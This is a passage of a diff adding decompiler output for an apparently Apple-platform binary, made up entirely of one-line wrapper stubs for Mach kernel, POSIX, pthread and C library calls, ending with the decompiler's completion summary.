mach_port_t poly, + mach_msg_type_name_t polyPoly) +{ + return _mach_port_insert_right(task, name, poly, polyPoly); +} + +//----- (000000000004181C) ---------------------------------------------------- +kern_return_t __cdecl mach_port_mod_refs( + ipc_space_t task, + mach_port_name_t name, + mach_port_right_t right, + mach_port_delta_t delta) +{ + return _mach_port_mod_refs(task, name, right, delta); +} + +//----- (000000000004182C) ---------------------------------------------------- +kern_return_t __cdecl mach_port_request_notification( + ipc_space_t task, + mach_port_name_t name, + mach_msg_id_t msgid, + mach_port_mscount_t sync, + mach_port_t notify, + mach_msg_type_name_t notifyPoly, + mach_port_t *previous) +{ + return _mach_port_request_notification(task, name, msgid, sync, notify, notifyPoly, previous); +} + +//----- (000000000004183C) ---------------------------------------------------- +kern_return_t __cdecl mach_port_set_attributes( + ipc_space_t task, + mach_port_name_t name, + mach_port_flavor_t flavor, + mach_port_info_t port_info, + mach_msg_type_number_t port_infoCnt) +{ + return _mach_port_set_attributes(task, name, flavor, port_info, port_infoCnt); +} + +//----- (000000000004184C) ---------------------------------------------------- +kern_return_t __cdecl mach_port_space_info( + ipc_space_read_t space, + ipc_info_space_t *space_info, + ipc_info_name_array_t *table_info, + mach_msg_type_number_t *table_infoCnt, + ipc_info_tree_name_array_t *tree_info, + mach_msg_type_number_t *tree_infoCnt) +{ + return _mach_port_space_info(space, space_info, table_info, table_infoCnt, tree_info, tree_infoCnt); +} + +//----- (000000000004185C) ---------------------------------------------------- +kern_return_t __cdecl mach_ports_register( + task_t target_task, + mach_port_array_t init_port_set, + mach_msg_type_number_t init_port_setCnt) +{ + return _mach_ports_register(target_task, init_port_set, init_port_setCnt); +} + +//----- (000000000004186C) ---------------------------------------------------- +__int64 mach_reply_port() +{ + return _mach_reply_port(); +} +// 48540: using guessed type __int64 _mach_reply_port(void); + +//----- (000000000004187C) ---------------------------------------------------- +mach_port_t mach_thread_self(void) +{ + return _mach_thread_self(); +} + +//----- (000000000004188C) ---------------------------------------------------- +kern_return_t __cdecl mach_timebase_info(mach_timebase_info_t info) +{ + return _mach_timebase_info(info); +} + +//----- (000000000004189C) ---------------------------------------------------- +kern_return_t __cdecl mach_vm_allocate(vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags) +{ + return _mach_vm_allocate(target, address, size, flags); +} + +//----- (00000000000418AC) ---------------------------------------------------- +kern_return_t __cdecl mach_vm_deallocate(vm_map_t target, mach_vm_address_t address, mach_vm_size_t size) +{ + return _mach_vm_deallocate(target, address, size); +} + +//----- (00000000000418BC) ---------------------------------------------------- +kern_return_t __cdecl mach_vm_machine_attribute( + vm_map_t target_task, + mach_vm_address_t address, + mach_vm_size_t size, + vm_machine_attribute_t attribute, + vm_machine_attribute_val_t *value) +{ + return _mach_vm_machine_attribute(target_task, address, size, attribute, value); +} + +//----- (00000000000418CC) ---------------------------------------------------- +kern_return_t __cdecl mach_vm_page_info( + vm_map_read_t target_task, + mach_vm_address_t address, + vm_page_info_flavor_t flavor, + vm_page_info_t info, + mach_msg_type_number_t *infoCnt) +{ + return _mach_vm_page_info(target_task, address, flavor, info, infoCnt); +} + +//----- (00000000000418DC) ---------------------------------------------------- +kern_return_t __cdecl mach_vm_read_overwrite( + vm_map_read_t target_task, + mach_vm_address_t address, + mach_vm_size_t size, + mach_vm_address_t data, + mach_vm_size_t *outsize) +{ + return _mach_vm_read_overwrite(target_task, address, size, data, outsize); +} + +//----- (00000000000418EC) ---------------------------------------------------- +kern_return_t __cdecl mach_vm_wire( + host_priv_t host_priv, + vm_map_t task, + mach_vm_address_t address, + mach_vm_size_t size, + vm_prot_t desired_access) +{ + return _mach_vm_wire(host_priv, task, address, size, desired_access); +} + +//----- (00000000000418FC) ---------------------------------------------------- +kern_return_t __cdecl mach_vm_write( + vm_map_t target_task, + mach_vm_address_t address, + vm_offset_t data, + mach_msg_type_number_t dataCnt) +{ + return _mach_vm_write(target_task, address, data, dataCnt); +} + +//----- (000000000004190C) ---------------------------------------------------- +int __cdecl madvise(void *a1, size_t a2, int a3) +{ + return _madvise(a1, a2, a3); +} + +//----- (000000000004191C) ---------------------------------------------------- +void *__cdecl malloc(size_t __size) +{ + return _malloc(__size); +} + +//----- (000000000004192C) ---------------------------------------------------- +int __cdecl memcmp(const void *__s1, const void *__s2, size_t __n) +{ + return _memcmp(__s1, __s2, __n); +} + +//----- (000000000004193C) ---------------------------------------------------- +void *__cdecl memcpy(void *__dst, const void *__src, size_t __n) +{ + return _memcpy(__dst, __src, __n); +} + +//----- (000000000004194C) ---------------------------------------------------- +void __cdecl mig_dealloc_reply_port(mach_port_t reply_port) +{ + _mig_dealloc_reply_port(reply_port); +} + +//----- (000000000004195C) ---------------------------------------------------- +mach_port_t mig_get_reply_port(void) +{ + return _mig_get_reply_port(); +} + +//----- (000000000004196C) ---------------------------------------------------- +int __cdecl mkdir(const char *a1, mode_t a2) +{ + return _mkdir(a1, a2); +} + +//----- (000000000004197C) ---------------------------------------------------- +char *__cdecl mktemp(char *a1) +{ + return _mktemp(a1); +} + +//----- (000000000004198C) ---------------------------------------------------- +void *__cdecl mmap(void *a1, size_t a2, int a3, int a4, int a5, off_t a6) +{ + return _mmap(a1, a2, a3, a4, a5, a6); +} + +//----- (000000000004199C) ---------------------------------------------------- +int __cdecl mount(const char *a1, const char *a2, int a3, void *a4) +{ + return _mount(a1, a2, a3, a4); +} + +//----- (00000000000419AC) ---------------------------------------------------- +__int64 necp_client_action() +{ + return _necp_client_action(); +} +// 485E0: using guessed type __int64 _necp_client_action(void); + +//----- (00000000000419BC) ---------------------------------------------------- +__int64 necp_open() +{ + return _necp_open(); +} +// 485E8: using guessed type __int64 _necp_open(void); + +//----- (00000000000419CC) ---------------------------------------------------- +int open(const char *a1, int a2, ...) +{ + return _open(a1, a2); +} + +//----- (00000000000419DC) ---------------------------------------------------- +int open_dprotected_np(const char *a1, int a2, int a3, int a4, ...) +{ + return _open_dprotected_np(a1, a2, a3, a4); +} + +//----- (00000000000419EC) ---------------------------------------------------- +kern_return_t __cdecl pid_for_task(mach_port_name_t t, int *x) +{ + return _pid_for_task(t, x); +} + +//----- (00000000000419FC) ---------------------------------------------------- +int __cdecl pipe(int a1[2]) +{ + return _pipe(a1); +} + +//----- (0000000000041A0C) ---------------------------------------------------- +int __cdecl posix_spawn( + pid_t *a1, + const char *a2, + const posix_spawn_file_actions_t *a3, + const posix_spawnattr_t *a4, + char *const __argv[], + char *const __envp[]) +{ + return _posix_spawn(a1, a2, a3, a4, __argv, __envp); +} + +//----- (0000000000041A1C) ---------------------------------------------------- +int __cdecl posix_spawn_file_actions_addopen(posix_spawn_file_actions_t *a1, int a2, const char *a3, int a4, mode_t a5) +{ + return _posix_spawn_file_actions_addopen(a1, a2, a3, a4, a5); +} + +//----- (0000000000041A2C) ---------------------------------------------------- +int __cdecl posix_spawn_file_actions_destroy(posix_spawn_file_actions_t *a1) +{ + return _posix_spawn_file_actions_destroy(a1); +} + +//----- (0000000000041A3C) ---------------------------------------------------- +int __cdecl posix_spawn_file_actions_init(posix_spawn_file_actions_t *a1) +{ + return _posix_spawn_file_actions_init(a1); +} + +//----- (0000000000041A4C) ---------------------------------------------------- +int __cdecl posix_spawnattr_destroy(posix_spawnattr_t *a1) +{ + return _posix_spawnattr_destroy(a1); +} + +//----- (0000000000041A5C) ---------------------------------------------------- +int __cdecl posix_spawnattr_init(posix_spawnattr_t *a1) +{ + return _posix_spawnattr_init(a1); +} + +//----- (0000000000041A6C) ---------------------------------------------------- +int __cdecl posix_spawnattr_setflags(posix_spawnattr_t *a1, __int16 a2) +{ + return _posix_spawnattr_setflags(a1, a2); +} + +//----- (0000000000041A7C) ---------------------------------------------------- +int __cdecl posix_spawnattr_setpgroup(posix_spawnattr_t *a1, pid_t a2) +{ + return _posix_spawnattr_setpgroup(a1, a2); +} + +//----- (0000000000041A8C) ---------------------------------------------------- +int __cdecl posix_spawnattr_setsigdefault(posix_spawnattr_t *a1, const sigset_t *a2) +{ + return _posix_spawnattr_setsigdefault(a1, a2); +} + +//----- (0000000000041A9C) ---------------------------------------------------- +ssize_t __cdecl pread(int __fd, void *__buf, size_t __nbyte, off_t a4) +{ + return _pread(__fd, __buf, __nbyte, a4); +} + +//----- (0000000000041AAC) ---------------------------------------------------- +int __cdecl proc_pidinfo(int pid, int flavor, uint64_t arg, void *buffer, int buffersize) +{ + return _proc_pidinfo(pid, flavor, arg, buffer, buffersize); +} + +//----- (0000000000041ABC) ---------------------------------------------------- +kern_return_t __cdecl processor_set_default(host_t host, processor_set_name_t *default_set) +{ + return _processor_set_default(host, default_set); +} + +//----- (0000000000041ACC) ---------------------------------------------------- +kern_return_t __cdecl processor_set_info( + processor_set_name_t set_name, + int flavor, + host_t *host, + processor_set_info_t info_out, + mach_msg_type_number_t *info_outCnt) +{ + return _processor_set_info(set_name, flavor, host, info_out, info_outCnt); +} + +//----- (0000000000041ADC) ---------------------------------------------------- +int __cdecl pthread_attr_destroy(pthread_attr_t *a1) +{ + return _pthread_attr_destroy(a1); +} + +//----- (0000000000041AEC) ---------------------------------------------------- +int __cdecl pthread_attr_init(pthread_attr_t *a1) +{ + return _pthread_attr_init(a1); +} + +//----- (0000000000041AFC) ---------------------------------------------------- +int __cdecl pthread_attr_setdetachstate(pthread_attr_t *a1, int a2) +{ + return _pthread_attr_setdetachstate(a1, a2); +} + +//----- (0000000000041B0C) ---------------------------------------------------- +int __cdecl pthread_create(pthread_t *a1, const pthread_attr_t *a2, void *(__cdecl *a3)(void *), void *a4) +{ + return _pthread_create(a1, a2, a3, a4); +} + +//----- (0000000000041B1C) ---------------------------------------------------- +int __cdecl pthread_create_suspended_np(pthread_t *a1, const pthread_attr_t *a2, void *(__cdecl *a3)(void *), void *a4) +{ + return _pthread_create_suspended_np(a1, a2, a3, a4); +} + +//----- (0000000000041B2C) ---------------------------------------------------- +pthread_t __cdecl pthread_from_mach_thread_np(mach_port_t a1) +{ + return _pthread_from_mach_thread_np(a1); +} + +//----- (0000000000041B3C) ---------------------------------------------------- +int __cdecl pthread_join(pthread_t a1, void **a2) +{ + return _pthread_join(a1, a2); +} + +//----- (0000000000041B4C) ---------------------------------------------------- +mach_port_t __cdecl pthread_mach_thread_np(pthread_t a1) +{ + return _pthread_mach_thread_np(a1); +} + +//----- (0000000000041B5C) ---------------------------------------------------- +int __cdecl pthread_mutex_destroy(pthread_mutex_t *a1) +{ + return _pthread_mutex_destroy(a1); +} + +//----- (0000000000041B6C) ---------------------------------------------------- +int __cdecl pthread_mutex_init(pthread_mutex_t *a1, const pthread_mutexattr_t *a2) +{ + return _pthread_mutex_init(a1, a2); +} + +//----- (0000000000041B7C) ---------------------------------------------------- +int __cdecl pthread_mutex_lock(pthread_mutex_t *a1) +{ + return _pthread_mutex_lock(a1); +} + +//----- (0000000000041B8C) ---------------------------------------------------- +int __cdecl pthread_mutex_unlock(pthread_mutex_t *a1) +{ + return _pthread_mutex_unlock(a1); +} + +//----- (0000000000041B9C) ---------------------------------------------------- +pthread_t pthread_self(void) +{ + return _pthread_self(); +} + +//----- (0000000000041BAC) ---------------------------------------------------- +void __cdecl qsort(void *__base, size_t __nel, size_t __width, int (__cdecl *__compar)(const void *, const void *)) +{ + _qsort(__base, __nel, __width, __compar); +} + +//----- (0000000000041BBC) ---------------------------------------------------- +ssize_t __cdecl read(int a1, void *a2, size_t a3) +{ + return _read(a1, a2, a3); +} + +//----- (0000000000041BCC) ---------------------------------------------------- +void *__cdecl realloc(void *__ptr, size_t __size) +{ + return _realloc(__ptr, __size); +} + +//----- (0000000000041BDC) ---------------------------------------------------- +int __cdecl rmdir(const char *a1) +{ + return _rmdir(a1); +} + +//----- (0000000000041BEC) ---------------------------------------------------- +__int64 sandbox_check() +{ + return _sandbox_check(); +} +// 48700: using guessed type __int64 _sandbox_check(void); + +//----- (0000000000041BFC) ---------------------------------------------------- +int sched_yield(void) +{ + return _sched_yield(); +} + +//----- (0000000000041C0C) ---------------------------------------------------- +kern_return_t __cdecl semaphore_create(task_t task, semaphore_t *semaphore, int policy, int value) +{ + return _semaphore_create(task, semaphore, policy, value); +} + +//----- (0000000000041C1C) ---------------------------------------------------- +kern_return_t __cdecl semaphore_destroy(task_t task, semaphore_t semaphore) +{ + return _semaphore_destroy(task, semaphore); +} + +//----- (0000000000041C2C) ---------------------------------------------------- +kern_return_t __cdecl semaphore_signal(semaphore_t semaphore) +{ + return _semaphore_signal(semaphore); +} + +//----- (0000000000041C3C) ---------------------------------------------------- +kern_return_t __cdecl semaphore_timedwait(semaphore_t semaphore, mach_timespec_t wait_time) +{ + return _semaphore_timedwait(semaphore, wait_time); +} + +//----- (0000000000041C4C) ---------------------------------------------------- +kern_return_t __cdecl semaphore_wait(semaphore_t semaphore) +{ + return _semaphore_wait(semaphore); +} + +//----- (0000000000041C5C) ---------------------------------------------------- +int __cdecl seteuid(uid_t a1) +{ + return _seteuid(a1); +} + +//----- (0000000000041C6C) ---------------------------------------------------- +int __cdecl setsockopt(int a1, int a2, int a3, const void *a4, socklen_t a5) +{ + return _setsockopt(a1, a2, a3, a4, a5); +} + +//----- (0000000000041C7C) ---------------------------------------------------- +int snprintf(char *__str, size_t __size, const char *__format, ...) +{ + return _snprintf(__str, __size, __format); +} + +//----- (0000000000041C8C) ---------------------------------------------------- +int __cdecl socket(int a1, int a2, int a3) +{ + return _socket(a1, a2, a3); +} + +//----- (0000000000041C9C) ---------------------------------------------------- +int sscanf(const char *a1, const char *a2, ...) +{ + return _sscanf(a1, a2); +} + +//----- (0000000000041CAC) ---------------------------------------------------- +int __cdecl stat(const char *a1, stat *a2) +{ + return _stat(a1, a2); +} + +//----- (0000000000041CBC) ---------------------------------------------------- +int __cdecl statfs(const char *a1, statfs *a2) +{ + return _statfs(a1, a2); +} + +//----- (0000000000041CCC) ---------------------------------------------------- +char *__cdecl strchr(const char *__s, int __c) +{ + return _strchr(__s, __c); +} + +//----- (0000000000041CDC) ---------------------------------------------------- +int __cdecl strcmp(const char *__s1, const char *__s2) +{ + return _strcmp(__s1, __s2); +} + +//----- (0000000000041CEC) ---------------------------------------------------- +char *__cdecl strcpy(char *__dst, const char *__src) +{ + return _strcpy(__dst, __src); +} + +//----- (0000000000041CFC) ---------------------------------------------------- +char *__cdecl strdup(const char *__s1) +{ + return _strdup(__s1); +} + +//----- (0000000000041D0C) ---------------------------------------------------- +size_t __cdecl strlcpy(char *__dst, const char *__source, size_t __size) +{ + return _strlcpy(__dst, __source, __size); +} + +//----- (0000000000041D1C) ---------------------------------------------------- +size_t __cdecl strlen(const char *__s) +{ + return _strlen(__s); +} + +//----- (0000000000041D2C) ---------------------------------------------------- +int __cdecl strncmp(const char *__s1, const char *__s2, size_t __n) +{ + return _strncmp(__s1, __s2, __n); +} + +//----- (0000000000041D3C) ---------------------------------------------------- +char *__cdecl strsep(char **__stringp, const char *__delim) +{ + return _strsep(__stringp, __delim); +} + +//----- (0000000000041D4C) ---------------------------------------------------- +char *__cdecl strstr(const char *__big, const char *__little) +{ + return _strstr(__big, __little); +} + +//----- (0000000000041D5C) ---------------------------------------------------- +__int64 __cdecl strtol(const char *__str, char **__endptr, int __base) +{ + return _strtol(__str, __endptr, __base); +} + +//----- (0000000000041D6C) ---------------------------------------------------- +int syscall(int a1, ...) +{ + return _syscall(a1); +} + +//----- (0000000000041D7C) ---------------------------------------------------- +int __cdecl sysctl(int *a1, u_int a2, void *a3, size_t *a4, void *a5, size_t a6) +{ + return _sysctl(a1, a2, a3, a4, a5, a6); +} + +//----- (0000000000041D8C) ---------------------------------------------------- +int __cdecl sysctlbyname(const char *a1, void *a2, size_t *a3, void *a4, size_t a5) +{ + return _sysctlbyname(a1, a2, a3, a4, a5); +} + +//----- (0000000000041D9C) ---------------------------------------------------- +kern_return_t __cdecl task_get_special_port(task_inspect_t task, int which_port, mach_port_t *special_port) +{ + return _task_get_special_port(task, which_port, special_port); +} + +//----- (0000000000041DAC) ---------------------------------------------------- +kern_return_t __cdecl task_info( + task_name_t target_task, + task_flavor_t flavor, + task_info_t task_info_out, + mach_msg_type_number_t *task_info_outCnt) +{ + return _task_info(target_task, flavor, task_info_out, task_info_outCnt); +} + +//----- (0000000000041DBC) ---------------------------------------------------- +kern_return_t __cdecl task_map_corpse_info_64( + task_t task, + task_read_t corspe_task, + mach_vm_address_t *kcd_addr_begin, + mach_vm_size_t *kcd_size) +{ + return _task_map_corpse_info_64(task, corspe_task, kcd_addr_begin, kcd_size); +} + +//----- (0000000000041DCC) ---------------------------------------------------- +kern_return_t __cdecl task_resume2(task_suspension_token_t suspend_token) +{ + return _task_resume2(suspend_token); +} + +//----- (0000000000041DDC) ---------------------------------------------------- +kern_return_t __cdecl task_set_special_port(task_t task, int which_port, mach_port_t special_port) +{ + return _task_set_special_port(task, which_port, special_port); +} + +//----- (0000000000041DEC) ---------------------------------------------------- +kern_return_t __cdecl task_suspend2(task_t target_task, task_suspension_token_t *suspend_token) +{ + return _task_suspend2(target_task, suspend_token); +} + +//----- (0000000000041DFC) ---------------------------------------------------- +kern_return_t __cdecl task_threads( + task_inspect_t target_task, + thread_act_array_t *act_list, + mach_msg_type_number_t *act_listCnt) +{ + return _task_threads(target_task, act_list, act_listCnt); +} + +//----- (0000000000041E0C) ---------------------------------------------------- +kern_return_t __cdecl thread_create(task_t parent_task, thread_act_t *child_act) +{ + return _thread_create(parent_task, child_act); +} + +//----- (0000000000041E1C) ---------------------------------------------------- +kern_return_t __cdecl thread_get_state( + thread_read_t target_act, + thread_state_flavor_t flavor, + thread_state_t old_state, + mach_msg_type_number_t *old_stateCnt) +{ + return _thread_get_state(target_act, flavor, old_state, old_stateCnt); +} + +//----- (0000000000041E2C) ---------------------------------------------------- +kern_return_t __cdecl thread_policy_set( + thread_act_t thread, + thread_policy_flavor_t flavor, + thread_policy_t policy_info, + mach_msg_type_number_t policy_infoCnt) +{ + return _thread_policy_set(thread, flavor, policy_info, policy_infoCnt); +} + +//----- (0000000000041E3C) ---------------------------------------------------- +kern_return_t __cdecl thread_resume(thread_act_t target_act) +{ + return _thread_resume(target_act); +} + +//----- (0000000000041E4C) ---------------------------------------------------- +kern_return_t __cdecl thread_set_exception_ports( + thread_act_t thread, + exception_mask_t exception_mask, + mach_port_t new_port, + exception_behavior_t behavior, + thread_state_flavor_t new_flavor) +{ + return _thread_set_exception_ports(thread, exception_mask, new_port, behavior, new_flavor); +} + +//----- (0000000000041E5C) ---------------------------------------------------- +kern_return_t __cdecl thread_set_state( + thread_act_t target_act, + thread_state_flavor_t flavor, + thread_state_t new_state, + mach_msg_type_number_t new_stateCnt) +{ + return _thread_set_state(target_act, flavor, new_state, new_stateCnt); +} + +//----- (0000000000041E6C) ---------------------------------------------------- +kern_return_t __cdecl thread_suspend(thread_act_t target_act) +{ + return _thread_suspend(target_act); +} + +//----- (0000000000041E7C) ---------------------------------------------------- +kern_return_t __cdecl thread_switch(mach_port_name_t thread_name, int option, mach_msg_timeout_t option_time) +{ + return _thread_switch(thread_name, option, option_time); +} + +//----- (0000000000041E8C) ---------------------------------------------------- +kern_return_t __cdecl thread_terminate(thread_act_t target_act) +{ + return _thread_terminate(target_act); +} + +//----- (0000000000041E9C) ---------------------------------------------------- +int __cdecl uname(utsname *a1) +{ + return _uname(a1); +} + +//----- (0000000000041EAC) ---------------------------------------------------- +int __cdecl unlink(const char *a1) +{ + return _unlink(a1); +} + +//----- (0000000000041EBC) ---------------------------------------------------- +int __cdecl unmount(const char *a1, int a2) +{ + return _unmount(a1, a2); +} + +//----- (0000000000041ECC) ---------------------------------------------------- +int __cdecl usleep(useconds_t a1) +{ + return _usleep(a1); +} + +//----- (0000000000041EDC) ---------------------------------------------------- +int __cdecl uuid_is_null(const uuid_t uu) +{ + return _uuid_is_null(uu); +} + +//----- (0000000000041EEC) ---------------------------------------------------- +kern_return_t __cdecl vm_allocate(vm_map_t target_task, vm_address_t *address, vm_size_t size, int flags) +{ + return _vm_allocate(target_task, address, size, flags); +} + +//----- (0000000000041EFC) ---------------------------------------------------- +kern_return_t __cdecl vm_copy( + vm_map_t target_task, + vm_address_t source_address, + vm_size_t size, + vm_address_t dest_address) +{ + return _vm_copy(target_task, source_address, size, dest_address); +} + +//----- (0000000000041F0C) ---------------------------------------------------- +kern_return_t __cdecl vm_deallocate(vm_map_t target_task, vm_address_t address, vm_size_t size) +{ + return _vm_deallocate(target_task, address, size); +} + +//----- (0000000000041F1C) ---------------------------------------------------- +kern_return_t __cdecl vm_map( + vm_map_t target_task, + vm_address_t *address, + vm_size_t size, + vm_address_t mask, + int flags, + mem_entry_name_port_t object, + vm_offset_t offset, + boolean_t copy, + vm_prot_t cur_protection, + vm_prot_t max_protection, + vm_inherit_t inheritance) +{ + return _vm_map( + target_task, + address, + size, + mask, + flags, + object, + offset, + copy, + cur_protection, + max_protection, + inheritance); +} + +//----- (0000000000041F2C) ---------------------------------------------------- +kern_return_t __cdecl vm_protect( + vm_map_t target_task, + vm_address_t address, + vm_size_t size, + boolean_t set_maximum, + vm_prot_t new_protection) +{ + return _vm_protect(target_task, address, size, set_maximum, new_protection); +} + +//----- (0000000000041F3C) ---------------------------------------------------- +kern_return_t __cdecl vm_read_overwrite( + vm_map_t target_task, + vm_address_t address, + vm_size_t size, + vm_address_t data, + vm_size_t *outsize) +{ + return _vm_read_overwrite(target_task, address, size, data, outsize); +} + +//----- (0000000000041F4C) ---------------------------------------------------- +kern_return_t __cdecl vm_region_64( + vm_map_t target_task, + vm_address_t *address, + vm_size_t *size, + vm_region_flavor_t flavor, + vm_region_info_t info, + mach_msg_type_number_t *infoCnt, + mach_port_t *object_name) +{ + return _vm_region_64(target_task, address, size, flavor, info, infoCnt, object_name); +} + +//----- (0000000000041F5C) ---------------------------------------------------- +kern_return_t __cdecl vm_region_recurse_64( + vm_map_t target_task, + vm_address_t *address, + vm_size_t *size, + natural_t *nesting_depth, + vm_region_recurse_info_t info, + mach_msg_type_number_t *infoCnt) +{ + return _vm_region_recurse_64(target_task, address, size, nesting_depth, info, infoCnt); +} + +//----- (0000000000041F6C) ---------------------------------------------------- +kern_return_t __cdecl vm_remap( + vm_map_t target_task, + vm_address_t *target_address, + vm_size_t size, + vm_address_t mask, + int flags, + vm_map_t src_task, + vm_address_t src_address, + boolean_t copy, + vm_prot_t *cur_protection, + vm_prot_t *max_protection, + vm_inherit_t inheritance) +{ + return _vm_remap( + target_task, + target_address, + size, + mask, + flags, + src_task, + src_address, + copy, + cur_protection, + max_protection, + inheritance); +} + +//----- (0000000000041F7C) ---------------------------------------------------- +kern_return_t __cdecl vm_write( + vm_map_t target_task, + vm_address_t address, + vm_offset_t data, + mach_msg_type_number_t dataCnt) +{ + return _vm_write(target_task, address, data, dataCnt); +} + +//----- (0000000000041F8C) ---------------------------------------------------- +pid_t __cdecl waitpid(pid_t a1, int *a2, int a3) +{ + return _waitpid(a1, a2, a3); +} + +//----- (0000000000041F9C) ---------------------------------------------------- +ssize_t __cdecl write(int __fd, const void *__buf, size_t __nbyte) +{ + return _write(__fd, __buf, __nbyte); +} + +// nfuncs=897 queued=889 decompiled=889 lumina nreq=0 worse=0 better=0 +// ALL OK, 889 function(s) have been successfully decompiled